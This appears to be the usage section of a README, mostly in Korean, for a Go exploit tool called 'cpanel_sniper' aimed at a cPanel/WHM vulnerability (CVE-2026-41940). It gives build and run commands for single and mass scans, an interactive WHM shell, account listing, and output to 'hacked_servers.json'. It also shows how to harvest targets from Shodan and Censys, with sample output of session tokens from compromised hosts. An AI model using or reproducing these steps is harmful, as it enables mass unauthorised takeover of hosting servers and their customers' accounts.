git clone https://github.com/ishanoshada/CVE-2026-41940-Exploit-PoC.git
cd CVE-2026-41940-Exploit-PoC

go build -o cpanel_sniper.exe main.go

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper

go run main.go -u https://target.com:2087

# 기본 스캔
go run main.go -u https://target.com:2087

# 모든 cPanel 계정 나열
go run main.go -u https://target.com:2087 -action list

# 대화형 WHM 셸
go run main.go -u https://target.com:2087 -action shell

# urls.txt로 대량 스캔
go run main.go -l urls.txt -t 20 -o results.json

https://192.168.1.1:2087
https://192.168.1.2:2087
https://example1.com:2087
https://example2.com:2087
...

# 기본 대량 스캔 (10개 스레드)
go run main.go -l urls.txt

# 빠른 대량 스캔 (50개 스레드, 결과 저장)
go run main.go -l urls.txt -t 50 -o results.json

# 사후 공격 작업이 포함된 대량 스캔
go run main.go -l urls.txt -t 20 -action list -o hacked_servers.json

# 상세 출력이 포함된 대량 스캔
go run main.go -l urls.txt -t 10 --verbose

# 증가된 타임아웃으로 대량 스캔 (느린 네트워크)
go run main.go -l urls.txt -t 30 -timeout 30

# IP 범위 생성 (Linux/macOS)
for i in {1..254}; do echo "https://192.168.1.$i:2087"; done > urls.txt

# IP 범위 생성 (Windows PowerShell)
1..254 | ForEach-Object { "https://192.168.1.$($_):2087" } > urls.txt

# Shodan에서
shodan search --fields ip_str,port 'title:"WHM Login"' | awk '{print "https://"$1":"$2}' > urls.txt

# Censys에서
censys search 'services.port=2087' | awk '{print "https://"$1":2087"}' > urls.txt

╔════════════════════════════════════════════════════════════════╗
║                    취약한 대상 감지                            ║
╠════════════════════════════════════════════════════════════════╣
║ 대상: https://target.example.com:2087                          ║
║ 토큰: /cpsess1234567890                                        ║
║ 버전: 11.76.0.22                                               ║
║ 세션: :od2aMhg5zJeQunUy...                                     ║
║ API URL: https://target.example.com:2087/cpsess1234567890/json-api/version ║
╚════════════════════════════════════════════════════════════════╝

[+] 작업: LIST
    • 사용자: admin | 도메인: example.com
    • 사용자: backup | 도메인: backup.example.com
    • 사용자: client1 | 도메인: client1.com

════════════════════════════════════════════════════════════════════
                    스캔 완료 요약
════════════════════════════════════════════════════════════════════
  총 스캔 대상: 1000
  취약한 대상: 47
  경과 시간: 125.34초

취약한 대상:
────────────────────────────────────────────────────────────────
  1. https://192.168.1.15:2087
      토큰: /cpsess1111111111
      버전: 11.76.0.22
      세션: :od2aMhg5zJeQunUy...
  2. https://192.168.1.42:2087
      토큰: /cpsess2222222222
      버전: 11.86.0.15
      세션: Km2psnYR9w3rRkLU...
  3. https://example.com:2087
      토큰: /cpsess3333333333
      버전: 11.118.0.42
      세션: Xk9mQrNtPw3sVbLm...

════════════════════════════════════════════════════════════════════

[✓] 결과가 results.json에 저장되었습니다.

go build -o cpanel_sniper.exe main.go
cpanel_sniper.exe -u https://target.com:2087

go build -o cpanel_sniper main.go
chmod +x cpanel_sniper
./cpanel_sniper -u https://target.com:2087

GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Windows
GOOS=windows GOARCH=amd64 go build -o cpanel_sniper_windows.exe main.go

# Linux
GOOS=linux GOARCH=amd64 go build -o cpanel_sniper_linux main.go

# macOS Intel
GOOS=darwin GOARCH=amd64 go build -o cpanel_sniper_mac_intel main.go

# macOS M1/M2
GOOS=darwin GOARCH=arm64 go build -o cpanel_sniper_mac_m1 main.go

# Linux ARM (Raspberry Pi)
GOOS=linux GOARCH=arm64 go build -o cpanel_sniper_linux_arm64 main.go

CVE-2026-41940-Exploit-PoC/
├── README.md           # 문서
├── bin/                # 사전 빌드된 멀티 플랫폼 실행 파일
│   ├── windows_x64/
│   ├── linux_x64/
│   └── ...
├── main.go             # 메인 소스 코드
├── urls.txt            # 1000개 예제 대상
├── go.mod              # Go 모듈 파일
├── .gitignore          # Git 무시 파일
└── results.json        # 출력 파일 (생성됨)